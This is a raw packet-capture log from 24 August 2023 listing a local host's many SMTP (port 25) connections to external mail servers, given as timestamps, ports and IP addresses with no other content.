Aug 24, 2023 19:03:35.983764887 CEST	25	50031	104.47.73.161	192.168.2.8
Aug 24, 2023 19:03:35.984874964 CEST	25	50031	104.47.73.161	192.168.2.8
Aug 24, 2023 19:03:35.985127926 CEST	50031	25	192.168.2.8	104.47.73.161
Aug 24, 2023 19:03:35.986819983 CEST	25	50030	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:35.995060921 CEST	25	50012	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:35.997879982 CEST	25	50048	98.136.96.91	192.168.2.8
Aug 24, 2023 19:03:35.998069048 CEST	50048	25	192.168.2.8	98.136.96.91
Aug 24, 2023 19:03:36.003787041 CEST	50031	25	192.168.2.8	104.47.73.161
Aug 24, 2023 19:03:36.003793955 CEST	25	50044	205.139.110.242	192.168.2.8
Aug 24, 2023 19:03:36.003897905 CEST	25	50044	205.139.110.242	192.168.2.8
Aug 24, 2023 19:03:36.003942966 CEST	50030	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:36.004107952 CEST	50037	25	192.168.2.8	104.47.75.164
Aug 24, 2023 19:03:36.005110979 CEST	50044	25	192.168.2.8	205.139.110.242
Aug 24, 2023 19:03:36.005718946 CEST	49931	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:36.005850077 CEST	49931	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:36.006597042 CEST	49931	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:36.006716013 CEST	49931	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:36.006856918 CEST	49931	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:36.006932020 CEST	49931	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:36.006998062 CEST	49931	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:36.007055044 CEST	49931	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:36.007096052 CEST	50049	25	192.168.2.8	104.47.11.10
Aug 24, 2023 19:03:36.007103920 CEST	49931	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:36.007184982 CEST	49931	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:36.007241011 CEST	49931	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:36.012702942 CEST	25	50043	104.47.51.33	192.168.2.8
Aug 24, 2023 19:03:36.014586926 CEST	25	50042	104.47.73.161	192.168.2.8
Aug 24, 2023 19:03:36.014615059 CEST	25	50043	104.47.51.33	192.168.2.8
Aug 24, 2023 19:03:36.014638901 CEST	25	50039	104.47.75.164	192.168.2.8
Aug 24, 2023 19:03:36.014904976 CEST	50043	25	192.168.2.8	104.47.51.33
Aug 24, 2023 19:03:36.014906883 CEST	50042	25	192.168.2.8	104.47.73.161
Aug 24, 2023 19:03:36.015093088 CEST	50039	25	192.168.2.8	104.47.75.164
Aug 24, 2023 19:03:36.015783072 CEST	25	50035	43.154.252.231	192.168.2.8
Aug 24, 2023 19:03:36.015917063 CEST	50035	25	192.168.2.8	43.154.252.231
Aug 24, 2023 19:03:36.021143913 CEST	25	50036	144.160.159.22	192.168.2.8
Aug 24, 2023 19:03:36.021182060 CEST	25	50036	144.160.159.22	192.168.2.8
Aug 24, 2023 19:03:36.021313906 CEST	50036	25	192.168.2.8	144.160.159.22
Aug 24, 2023 19:03:36.026081085 CEST	25	50033	104.47.73.161	192.168.2.8
Aug 24, 2023 19:03:36.026119947 CEST	25	50033	104.47.73.161	192.168.2.8
Aug 24, 2023 19:03:36.026345015 CEST	50033	25	192.168.2.8	104.47.73.161
Aug 24, 2023 19:03:36.026525021 CEST	25	50033	104.47.73.161	192.168.2.8
Aug 24, 2023 19:03:36.026686907 CEST	50033	25	192.168.2.8	104.47.73.161
Aug 24, 2023 19:03:36.030955076 CEST	25	50049	104.47.11.10	192.168.2.8
Aug 24, 2023 19:03:36.031071901 CEST	50049	25	192.168.2.8	104.47.11.10
Aug 24, 2023 19:03:36.037631035 CEST	25	50016	64.136.52.37	192.168.2.8
Aug 24, 2023 19:03:36.037666082 CEST	25	50016	64.136.52.37	192.168.2.8
Aug 24, 2023 19:03:36.037842989 CEST	50016	25	192.168.2.8	64.136.52.37
Aug 24, 2023 19:03:36.037842989 CEST	50016	25	192.168.2.8	64.136.52.37
Aug 24, 2023 19:03:36.060249090 CEST	25	50049	104.47.11.10	192.168.2.8
Aug 24, 2023 19:03:36.060458899 CEST	50049	25	192.168.2.8	104.47.11.10
Aug 24, 2023 19:03:36.061445951 CEST	50050	25	192.168.2.8	144.160.159.22
Aug 24, 2023 19:03:36.068727970 CEST	25	50046	98.136.96.91	192.168.2.8
Aug 24, 2023 19:03:36.068970919 CEST	50046	25	192.168.2.8	98.136.96.91
Aug 24, 2023 19:03:36.073975086 CEST	50051	25	192.168.2.8	52.101.73.12
Aug 24, 2023 19:03:36.074229956 CEST	25	50038	144.160.159.22	192.168.2.8
Aug 24, 2023 19:03:36.074384928 CEST	50038	25	192.168.2.8	144.160.159.22
Aug 24, 2023 19:03:36.082238913 CEST	25	50040	104.47.73.161	192.168.2.8
Aug 24, 2023 19:03:36.082269907 CEST	25	50040	104.47.73.161	192.168.2.8
Aug 24, 2023 19:03:36.082456112 CEST	50040	25	192.168.2.8	104.47.73.161
Aug 24, 2023 19:03:36.088561058 CEST	50052	25	192.168.2.8	144.160.159.22
Aug 24, 2023 19:03:36.088788033 CEST	25	50049	104.47.11.10	192.168.2.8
Aug 24, 2023 19:03:36.089168072 CEST	50049	25	192.168.2.8	104.47.11.10
Aug 24, 2023 19:03:36.104608059 CEST	25	50051	52.101.73.12	192.168.2.8
Aug 24, 2023 19:03:36.105523109 CEST	50051	25	192.168.2.8	52.101.73.12
Aug 24, 2023 19:03:36.113905907 CEST	25	50032	104.47.73.161	192.168.2.8
Aug 24, 2023 19:03:36.114046097 CEST	25	50044	205.139.110.242	192.168.2.8
Aug 24, 2023 19:03:36.114373922 CEST	50044	25	192.168.2.8	205.139.110.242
Aug 24, 2023 19:03:36.115977049 CEST	25	50018	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:36.116122961 CEST	50018	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:36.117924929 CEST	25	50049	104.47.11.10	192.168.2.8
Aug 24, 2023 19:03:36.118144989 CEST	25	50010	198.252.106.192	192.168.2.8
Aug 24, 2023 19:03:36.118174076 CEST	50049	25	192.168.2.8	104.47.11.10
Aug 24, 2023 19:03:36.118434906 CEST	50010	25	192.168.2.8	198.252.106.192
Aug 24, 2023 19:03:36.124774933 CEST	25	50037	104.47.75.164	192.168.2.8
Aug 24, 2023 19:03:36.125256062 CEST	50037	25	192.168.2.8	104.47.75.164
Aug 24, 2023 19:03:36.126003981 CEST	25	50043	104.47.51.33	192.168.2.8
Aug 24, 2023 19:03:36.127300024 CEST	25	50043	104.47.51.33	192.168.2.8
Aug 24, 2023 19:03:36.127487898 CEST	50043	25	192.168.2.8	104.47.51.33
Aug 24, 2023 19:03:36.128603935 CEST	25	50043	104.47.51.33	192.168.2.8
Aug 24, 2023 19:03:36.129064083 CEST	50043	25	192.168.2.8	104.47.51.33
Aug 24, 2023 19:03:36.129158974 CEST	25	50048	98.136.96.91	192.168.2.8
Aug 24, 2023 19:03:36.129291058 CEST	50048	25	192.168.2.8	98.136.96.91
Aug 24, 2023 19:03:36.132283926 CEST	25	50039	104.47.75.164	192.168.2.8
Aug 24, 2023 19:03:36.132510900 CEST	50039	25	192.168.2.8	104.47.75.164
Aug 24, 2023 19:03:36.132863045 CEST	25	50051	52.101.73.12	192.168.2.8
Aug 24, 2023 19:03:36.133244038 CEST	50051	25	192.168.2.8	52.101.73.12
Aug 24, 2023 19:03:36.143651962 CEST	25	50049	104.47.11.10	192.168.2.8
Aug 24, 2023 19:03:36.143882036 CEST	50049	25	192.168.2.8	104.47.11.10
Aug 24, 2023 19:03:36.158638954 CEST	25	50012	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:36.158915043 CEST	50012	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:36.159120083 CEST	50053	25	192.168.2.8	144.160.235.144
Aug 24, 2023 19:03:36.159979105 CEST	25	50051	52.101.73.12	192.168.2.8
Aug 24, 2023 19:03:36.161952019 CEST	50051	25	192.168.2.8	52.101.73.12
Aug 24, 2023 19:03:36.163877964 CEST	50054	25	192.168.2.8	104.47.51.33
Aug 24, 2023 19:03:36.170541048 CEST	25	50049	104.47.11.10	192.168.2.8
Aug 24, 2023 19:03:36.172347069 CEST	25	50049	104.47.11.10	192.168.2.8
Aug 24, 2023 19:03:36.172420025 CEST	50049	25	192.168.2.8	104.47.11.10
Aug 24, 2023 19:03:36.173875093 CEST	25	50031	104.47.73.161	192.168.2.8
Aug 24, 2023 19:03:36.184993982 CEST	25	50042	104.47.73.161	192.168.2.8
Aug 24, 2023 19:03:36.185941935 CEST	25	50042	104.47.73.161	192.168.2.8
Aug 24, 2023 19:03:36.186113119 CEST	50042	25	192.168.2.8	104.47.73.161
Aug 24, 2023 19:03:36.191796064 CEST	25	50051	52.101.73.12	192.168.2.8
Aug 24, 2023 19:03:36.192446947 CEST	50051	25	192.168.2.8	52.101.73.12
Aug 24, 2023 19:03:36.194077969 CEST	49982	25	192.168.2.8	216.108.160.2
Aug 24, 2023 19:03:36.196584940 CEST	25	50033	104.47.73.161	192.168.2.8
Aug 24, 2023 19:03:36.202790022 CEST	25	50036	144.160.159.22	192.168.2.8
Aug 24, 2023 19:03:36.203483105 CEST	50036	25	192.168.2.8	144.160.159.22
Aug 24, 2023 19:03:36.203921080 CEST	25	50046	98.136.96.91	192.168.2.8
Aug 24, 2023 19:03:36.204008102 CEST	25	50046	98.136.96.91	192.168.2.8
Aug 24, 2023 19:03:36.204241037 CEST	50046	25	192.168.2.8	98.136.96.91
Aug 24, 2023 19:03:36.211755037 CEST	25	50016	64.136.52.37	192.168.2.8
Aug 24, 2023 19:03:36.212820053 CEST	25	50047	144.160.235.143	192.168.2.8
Aug 24, 2023 19:03:36.213177919 CEST	50047	25	192.168.2.8	144.160.235.143
Aug 24, 2023 19:03:36.222637892 CEST	25	50051	52.101.73.12	192.168.2.8
Aug 24, 2023 19:03:36.223483086 CEST	50051	25	192.168.2.8	52.101.73.12
Aug 24, 2023 19:03:36.226749897 CEST	25	50029	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:36.230782032 CEST	50055	25	192.168.2.8	144.160.235.143
Aug 24, 2023 19:03:36.232896090 CEST	50056	25	192.168.2.8	108.178.59.182
Aug 24, 2023 19:03:36.233689070 CEST	25	50050	144.160.159.22	192.168.2.8
Aug 24, 2023 19:03:36.233839035 CEST	50050	25	192.168.2.8	144.160.159.22
Aug 24, 2023 19:03:36.234638929 CEST	25	50043	104.47.51.33	192.168.2.8
Aug 24, 2023 19:03:36.241085052 CEST	25	50037	104.47.75.164	192.168.2.8
Aug 24, 2023 19:03:36.242247105 CEST	25	50037	104.47.75.164	192.168.2.8
Aug 24, 2023 19:03:36.243429899 CEST	50037	25	192.168.2.8	104.47.75.164
Aug 24, 2023 19:03:36.248028040 CEST	25	50039	104.47.75.164	192.168.2.8
Aug 24, 2023 19:03:36.249258041 CEST	25	50039	104.47.75.164	192.168.2.8
Aug 24, 2023 19:03:36.249335051 CEST	50039	25	192.168.2.8	104.47.75.164
Aug 24, 2023 19:03:36.250371933 CEST	25	50040	104.47.73.161	192.168.2.8
Aug 24, 2023 19:03:36.251563072 CEST	25	50040	104.47.73.161	192.168.2.8
Aug 24, 2023 19:03:36.251769066 CEST	50040	25	192.168.2.8	104.47.73.161
Aug 24, 2023 19:03:36.252633095 CEST	25	50040	104.47.73.161	192.168.2.8
Aug 24, 2023 19:03:36.252669096 CEST	25	50051	52.101.73.12	192.168.2.8
Aug 24, 2023 19:03:36.253546953 CEST	50040	25	192.168.2.8	104.47.73.161
Aug 24, 2023 19:03:36.253947973 CEST	25	50051	52.101.73.12	192.168.2.8
Aug 24, 2023 19:03:36.254103899 CEST	50051	25	192.168.2.8	52.101.73.12
Aug 24, 2023 19:03:36.255832911 CEST	25	50038	144.160.159.22	192.168.2.8
Aug 24, 2023 19:03:36.255856991 CEST	25	50038	144.160.159.22	192.168.2.8
Aug 24, 2023 19:03:36.256362915 CEST	50038	25	192.168.2.8	144.160.159.22
Aug 24, 2023 19:03:36.258124113 CEST	25	50048	98.136.96.91	192.168.2.8
Aug 24, 2023 19:03:36.258147955 CEST	25	50048	98.136.96.91	192.168.2.8
Aug 24, 2023 19:03:36.258289099 CEST	50048	25	192.168.2.8	98.136.96.91
Aug 24, 2023 19:03:36.258842945 CEST	25	50044	205.139.110.242	192.168.2.8
Aug 24, 2023 19:03:36.260813951 CEST	25	50052	144.160.159.22	192.168.2.8
Aug 24, 2023 19:03:36.261509895 CEST	50052	25	192.168.2.8	144.160.159.22
Aug 24, 2023 19:03:36.270778894 CEST	25	50045	144.160.159.22	192.168.2.8
Aug 24, 2023 19:03:36.271167994 CEST	25	50054	104.47.51.33	192.168.2.8
Aug 24, 2023 19:03:36.271248102 CEST	50045	25	192.168.2.8	144.160.159.22
Aug 24, 2023 19:03:36.271281958 CEST	50054	25	192.168.2.8	104.47.51.33
Aug 24, 2023 19:03:36.284133911 CEST	25	50035	43.154.252.231	192.168.2.8
Aug 24, 2023 19:03:36.284205914 CEST	25	50035	43.154.252.231	192.168.2.8
Aug 24, 2023 19:03:36.284437895 CEST	50035	25	192.168.2.8	43.154.252.231
Aug 24, 2023 19:03:36.288450956 CEST	25	50053	144.160.235.144	192.168.2.8
Aug 24, 2023 19:03:36.288600922 CEST	50053	25	192.168.2.8	144.160.235.144
Aug 24, 2023 19:03:36.293375015 CEST	25	50010	198.252.106.192	192.168.2.8
Aug 24, 2023 19:03:36.293961048 CEST	50010	25	192.168.2.8	198.252.106.192
Aug 24, 2023 19:03:36.317663908 CEST	50026	25	192.168.2.8	72.38.65.185
Aug 24, 2023 19:03:36.323542118 CEST	50057	25	192.168.2.8	144.160.159.22
Aug 24, 2023 19:03:36.334250927 CEST	25	50030	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:36.334844112 CEST	25	49931	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:36.334914923 CEST	25	49931	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:36.335669994 CEST	25	49931	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:36.335717916 CEST	25	49931	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:36.335937023 CEST	25	49931	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:36.335980892 CEST	25	49931	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:36.336024046 CEST	25	49931	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:36.336074114 CEST	25	49931	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:36.336129904 CEST	25	49931	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:36.336194038 CEST	25	49931	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:36.336271048 CEST	25	49931	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:36.343554974 CEST	25	50046	98.136.96.91	192.168.2.8
Aug 24, 2023 19:03:36.343720913 CEST	25	50046	98.136.96.91	192.168.2.8
Aug 24, 2023 19:03:36.343801022 CEST	50046	25	192.168.2.8	98.136.96.91
Aug 24, 2023 19:03:36.348414898 CEST	50046	25	192.168.2.8	98.136.96.91
Aug 24, 2023 19:03:36.351963043 CEST	25	50047	144.160.235.143	192.168.2.8
Aug 24, 2023 19:03:36.352076054 CEST	25	50047	144.160.235.143	192.168.2.8
Aug 24, 2023 19:03:36.352196932 CEST	50047	25	192.168.2.8	144.160.235.143
Aug 24, 2023 19:03:36.359064102 CEST	25	50055	144.160.235.143	192.168.2.8
Aug 24, 2023 19:03:36.359200001 CEST	50055	25	192.168.2.8	144.160.235.143
Aug 24, 2023 19:03:36.359415054 CEST	25	50042	104.47.73.161	192.168.2.8
Aug 24, 2023 19:03:36.360583067 CEST	25	50042	104.47.73.161	192.168.2.8
Aug 24, 2023 19:03:36.361119032 CEST	50042	25	192.168.2.8	104.47.73.161
Aug 24, 2023 19:03:36.361618042 CEST	25	50042	104.47.73.161	192.168.2.8
Aug 24, 2023 19:03:36.361759901 CEST	50042	25	192.168.2.8	104.47.73.161
Aug 24, 2023 19:03:36.376679897 CEST	25	50054	104.47.51.33	192.168.2.8
Aug 24, 2023 19:03:36.377002954 CEST	50054	25	192.168.2.8	104.47.51.33
Aug 24, 2023 19:03:36.388088942 CEST	25	50048	98.136.96.91	192.168.2.8
Aug 24, 2023 19:03:36.388367891 CEST	25	50048	98.136.96.91	192.168.2.8
Aug 24, 2023 19:03:36.388468027 CEST	50048	25	192.168.2.8	98.136.96.91
Aug 24, 2023 19:03:36.388518095 CEST	50048	25	192.168.2.8	98.136.96.91
Aug 24, 2023 19:03:36.388941050 CEST	25	50036	144.160.159.22	192.168.2.8
Aug 24, 2023 19:03:36.389067888 CEST	50036	25	192.168.2.8	144.160.159.22
Aug 24, 2023 19:03:36.395154953 CEST	25	50029	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:36.395750999 CEST	50029	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:36.401690960 CEST	25	50056	108.178.59.182	192.168.2.8
Aug 24, 2023 19:03:36.402051926 CEST	50056	25	192.168.2.8	108.178.59.182
Aug 24, 2023 19:03:36.411211967 CEST	50058	25	192.168.2.8	104.47.75.164
Aug 24, 2023 19:03:36.412873983 CEST	25	50050	144.160.159.22	192.168.2.8
Aug 24, 2023 19:03:36.413065910 CEST	50050	25	192.168.2.8	144.160.159.22
Aug 24, 2023 19:03:36.419877052 CEST	25	50040	104.47.73.161	192.168.2.8
Aug 24, 2023 19:03:36.436764956 CEST	50059	25	192.168.2.8	67.195.228.106
Aug 24, 2023 19:03:36.436831951 CEST	25	50052	144.160.159.22	192.168.2.8
Aug 24, 2023 19:03:36.436923027 CEST	50060	25	192.168.2.8	148.163.157.43
Aug 24, 2023 19:03:36.437072992 CEST	50052	25	192.168.2.8	144.160.159.22
Aug 24, 2023 19:03:36.437901020 CEST	25	50038	144.160.159.22	192.168.2.8
Aug 24, 2023 19:03:36.438026905 CEST	50038	25	192.168.2.8	144.160.159.22
Aug 24, 2023 19:03:36.446624994 CEST	25	50018	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:36.446885109 CEST	25	50026	72.38.65.185	192.168.2.8
Aug 24, 2023 19:03:36.452482939 CEST	25	50045	144.160.159.22	192.168.2.8
Aug 24, 2023 19:03:36.452533960 CEST	25	50044	205.139.110.242	192.168.2.8
Aug 24, 2023 19:03:36.452569962 CEST	25	50045	144.160.159.22	192.168.2.8
Aug 24, 2023 19:03:36.452766895 CEST	50045	25	192.168.2.8	144.160.159.22
Aug 24, 2023 19:03:36.453238964 CEST	50044	25	192.168.2.8	205.139.110.242
Aug 24, 2023 19:03:36.456053019 CEST	50061	25	192.168.2.8	142.250.150.27
Aug 24, 2023 19:03:36.463582039 CEST	25	50053	144.160.235.144	192.168.2.8
Aug 24, 2023 19:03:36.463751078 CEST	50053	25	192.168.2.8	144.160.235.144
Aug 24, 2023 19:03:36.465843916 CEST	25	50010	198.252.106.192	192.168.2.8
Aug 24, 2023 19:03:36.466065884 CEST	50010	25	192.168.2.8	198.252.106.192
Aug 24, 2023 19:03:36.466501951 CEST	25	50010	198.252.106.192	192.168.2.8
Aug 24, 2023 19:03:36.466624975 CEST	50010	25	192.168.2.8	198.252.106.192
Aug 24, 2023 19:03:36.471354961 CEST	50062	25	192.168.2.8	104.47.75.228
Aug 24, 2023 19:03:36.480614901 CEST	25	50054	104.47.51.33	192.168.2.8
Aug 24, 2023 19:03:36.481592894 CEST	25	50054	104.47.51.33	192.168.2.8
Aug 24, 2023 19:03:36.481942892 CEST	50054	25	192.168.2.8	104.47.51.33
Aug 24, 2023 19:03:36.483321905 CEST	25	50046	98.136.96.91	192.168.2.8
Aug 24, 2023 19:03:36.488436937 CEST	25	50047	144.160.235.143	192.168.2.8
Aug 24, 2023 19:03:36.488615990 CEST	25	50047	144.160.235.143	192.168.2.8
Aug 24, 2023 19:03:36.488827944 CEST	50047	25	192.168.2.8	144.160.235.143
Aug 24, 2023 19:03:36.490856886 CEST	25	50012	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:36.501226902 CEST	25	50030	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:36.501616955 CEST	50030	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:36.503766060 CEST	50063	25	192.168.2.8	104.47.51.33
Aug 24, 2023 19:03:36.505150080 CEST	25	50057	144.160.159.22	192.168.2.8
Aug 24, 2023 19:03:36.505264997 CEST	50057	25	192.168.2.8	144.160.159.22
Aug 24, 2023 19:03:36.506714106 CEST	25	50061	142.250.150.27	192.168.2.8
Aug 24, 2023 19:03:36.506803036 CEST	50061	25	192.168.2.8	142.250.150.27
Aug 24, 2023 19:03:36.517437935 CEST	25	50048	98.136.96.91	192.168.2.8
Aug 24, 2023 19:03:36.526995897 CEST	25	50058	104.47.75.164	192.168.2.8
Aug 24, 2023 19:03:36.527173996 CEST	50058	25	192.168.2.8	104.47.75.164
Aug 24, 2023 19:03:36.530813932 CEST	50064	25	192.168.2.8	188.125.72.74
Aug 24, 2023 19:03:36.531945944 CEST	25	50042	104.47.73.161	192.168.2.8
Aug 24, 2023 19:03:36.533559084 CEST	25	50055	144.160.235.143	192.168.2.8
Aug 24, 2023 19:03:36.533735991 CEST	50055	25	192.168.2.8	144.160.235.143
Aug 24, 2023 19:03:36.552748919 CEST	25	50035	43.154.252.231	192.168.2.8
Aug 24, 2023 19:03:36.559169054 CEST	25	50061	142.250.150.27	192.168.2.8
Aug 24, 2023 19:03:36.559499025 CEST	50061	25	192.168.2.8	142.250.150.27
Aug 24, 2023 19:03:36.564007998 CEST	25	50044	205.139.110.242	192.168.2.8
Aug 24, 2023 19:03:36.565943003 CEST	50044	25	192.168.2.8	205.139.110.242
Aug 24, 2023 19:03:36.568295956 CEST	49947	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:36.568450928 CEST	49947	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:36.568572998 CEST	49947	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:36.568756104 CEST	49947	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:36.568809032 CEST	49947	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:36.568821907 CEST	25	50064	188.125.72.74	192.168.2.8
Aug 24, 2023 19:03:36.568869114 CEST	49947	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:36.568990946 CEST	50064	25	192.168.2.8	188.125.72.74
Aug 24, 2023 19:03:36.569046974 CEST	49947	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:36.569046974 CEST	49947	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:36.569118977 CEST	49947	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:36.569118977 CEST	49947	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:36.569190025 CEST	49947	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:36.585028887 CEST	25	50050	144.160.159.22	192.168.2.8
Aug 24, 2023 19:03:36.585068941 CEST	25	50050	144.160.159.22	192.168.2.8
Aug 24, 2023 19:03:36.585205078 CEST	50050	25	192.168.2.8	144.160.159.22
Aug 24, 2023 19:03:36.585413933 CEST	25	50054	104.47.51.33	192.168.2.8
Aug 24, 2023 19:03:36.586720943 CEST	25	50054	104.47.51.33	192.168.2.8
Aug 24, 2023 19:03:36.586954117 CEST	50054	25	192.168.2.8	104.47.51.33
Aug 24, 2023 19:03:36.587862015 CEST	25	50054	104.47.51.33	192.168.2.8
Aug 24, 2023 19:03:36.587945938 CEST	50054	25	192.168.2.8	104.47.51.33
Aug 24, 2023 19:03:36.590137005 CEST	50065	25	192.168.2.8	104.47.73.161
Aug 24, 2023 19:03:36.590353966 CEST	25	50053	144.160.235.144	192.168.2.8
Aug 24, 2023 19:03:36.590488911 CEST	25	50053	144.160.235.144	192.168.2.8
Aug 24, 2023 19:03:36.590580940 CEST	50053	25	192.168.2.8	144.160.235.144
Aug 24, 2023 19:03:36.596597910 CEST	25	50062	104.47.75.228	192.168.2.8
Aug 24, 2023 19:03:36.596733093 CEST	50062	25	192.168.2.8	104.47.75.228
Aug 24, 2023 19:03:36.605056047 CEST	25	50059	67.195.228.106	192.168.2.8
Aug 24, 2023 19:03:36.605249882 CEST	25	50018	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:36.605401993 CEST	50059	25	192.168.2.8	67.195.228.106
Aug 24, 2023 19:03:36.605401993 CEST	50018	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:36.607091904 CEST	25	50060	148.163.157.43	192.168.2.8
Aug 24, 2023 19:03:36.607251883 CEST	50060	25	192.168.2.8	148.163.157.43
Aug 24, 2023 19:03:36.607374907 CEST	25	50063	104.47.51.33	192.168.2.8
Aug 24, 2023 19:03:36.607474089 CEST	50063	25	192.168.2.8	104.47.51.33
Aug 24, 2023 19:03:36.608819008 CEST	25	50052	144.160.159.22	192.168.2.8
Aug 24, 2023 19:03:36.608865976 CEST	25	50052	144.160.159.22	192.168.2.8
Aug 24, 2023 19:03:36.609994888 CEST	25	50061	142.250.150.27	192.168.2.8
Aug 24, 2023 19:03:36.610029936 CEST	50052	25	192.168.2.8	144.160.159.22
Aug 24, 2023 19:03:36.613526106 CEST	25	50061	142.250.150.27	192.168.2.8
Aug 24, 2023 19:03:36.614092112 CEST	50061	25	192.168.2.8	142.250.150.27
Aug 24, 2023 19:03:36.619694948 CEST	25	50038	144.160.159.22	192.168.2.8
Aug 24, 2023 19:03:36.621260881 CEST	50038	25	192.168.2.8	144.160.159.22
Aug 24, 2023 19:03:36.625082016 CEST	25	50047	144.160.235.143	192.168.2.8
Aug 24, 2023 19:03:36.625258923 CEST	25	50047	144.160.235.143	192.168.2.8
Aug 24, 2023 19:03:36.625413895 CEST	50047	25	192.168.2.8	144.160.235.143
Aug 24, 2023 19:03:36.634263992 CEST	25	50045	144.160.159.22	192.168.2.8
Aug 24, 2023 19:03:36.634982109 CEST	50045	25	192.168.2.8	144.160.159.22
Aug 24, 2023 19:03:36.644455910 CEST	25	50058	104.47.75.164	192.168.2.8
Aug 24, 2023 19:03:36.644812107 CEST	25	50064	188.125.72.74	192.168.2.8
Aug 24, 2023 19:03:36.644834995 CEST	50058	25	192.168.2.8	104.47.75.164
Aug 24, 2023 19:03:36.645015001 CEST	50064	25	192.168.2.8	188.125.72.74
Aug 24, 2023 19:03:36.655735970 CEST	25	50035	43.154.252.231	192.168.2.8
Aug 24, 2023 19:03:36.656054974 CEST	50035	25	192.168.2.8	43.154.252.231
Aug 24, 2023 19:03:36.658363104 CEST	25	50055	144.160.235.143	192.168.2.8
Aug 24, 2023 19:03:36.658523083 CEST	25	50055	144.160.235.143	192.168.2.8
Aug 24, 2023 19:03:36.658646107 CEST	50055	25	192.168.2.8	144.160.235.143
Aug 24, 2023 19:03:36.665165901 CEST	25	50061	142.250.150.27	192.168.2.8
Aug 24, 2023 19:03:36.673209906 CEST	50061	25	192.168.2.8	142.250.150.27
Aug 24, 2023 19:03:36.673470020 CEST	25	50035	43.154.252.231	192.168.2.8
Aug 24, 2023 19:03:36.673580885 CEST	50035	25	192.168.2.8	43.154.252.231
Aug 24, 2023 19:03:36.676259041 CEST	50066	25	192.168.2.8	104.47.59.161
Aug 24, 2023 19:03:36.683100939 CEST	25	50064	188.125.72.74	192.168.2.8
Aug 24, 2023 19:03:36.684204102 CEST	25	50064	188.125.72.74	192.168.2.8
Aug 24, 2023 19:03:36.684998989 CEST	50064	25	192.168.2.8	188.125.72.74
Aug 24, 2023 19:03:36.690481901 CEST	25	50054	104.47.51.33	192.168.2.8
Aug 24, 2023 19:03:36.692779064 CEST	25	50057	144.160.159.22	192.168.2.8
Aug 24, 2023 19:03:36.693031073 CEST	50057	25	192.168.2.8	144.160.159.22
Aug 24, 2023 19:03:36.713563919 CEST	25	50063	104.47.51.33	192.168.2.8
Aug 24, 2023 19:03:36.713880062 CEST	50063	25	192.168.2.8	104.47.51.33
Aug 24, 2023 19:03:36.717087030 CEST	25	50053	144.160.235.144	192.168.2.8
Aug 24, 2023 19:03:36.717149019 CEST	25	50053	144.160.235.144	192.168.2.8
Aug 24, 2023 19:03:36.717278004 CEST	50053	25	192.168.2.8	144.160.235.144
Aug 24, 2023 19:03:36.723706007 CEST	25	50064	188.125.72.74	192.168.2.8
Aug 24, 2023 19:03:36.723777056 CEST	25	50062	104.47.75.228	192.168.2.8
Aug 24, 2023 19:03:36.723823071 CEST	25	50064	188.125.72.74	192.168.2.8
Aug 24, 2023 19:03:36.723989964 CEST	50064	25	192.168.2.8	188.125.72.74
Aug 24, 2023 19:03:36.724385977 CEST	50062	25	192.168.2.8	104.47.75.228
Aug 24, 2023 19:03:36.724468946 CEST	50064	25	192.168.2.8	188.125.72.74
Aug 24, 2023 19:03:36.727967978 CEST	25	50061	142.250.150.27	192.168.2.8
Aug 24, 2023 19:03:36.728193045 CEST	25	50029	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:36.744139910 CEST	50067	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:36.757189989 CEST	25	50050	144.160.159.22	192.168.2.8
Aug 24, 2023 19:03:36.757381916 CEST	50050	25	192.168.2.8	144.160.159.22
Aug 24, 2023 19:03:36.760694027 CEST	25	50065	104.47.73.161	192.168.2.8
Aug 24, 2023 19:03:36.760809898 CEST	50065	25	192.168.2.8	104.47.73.161
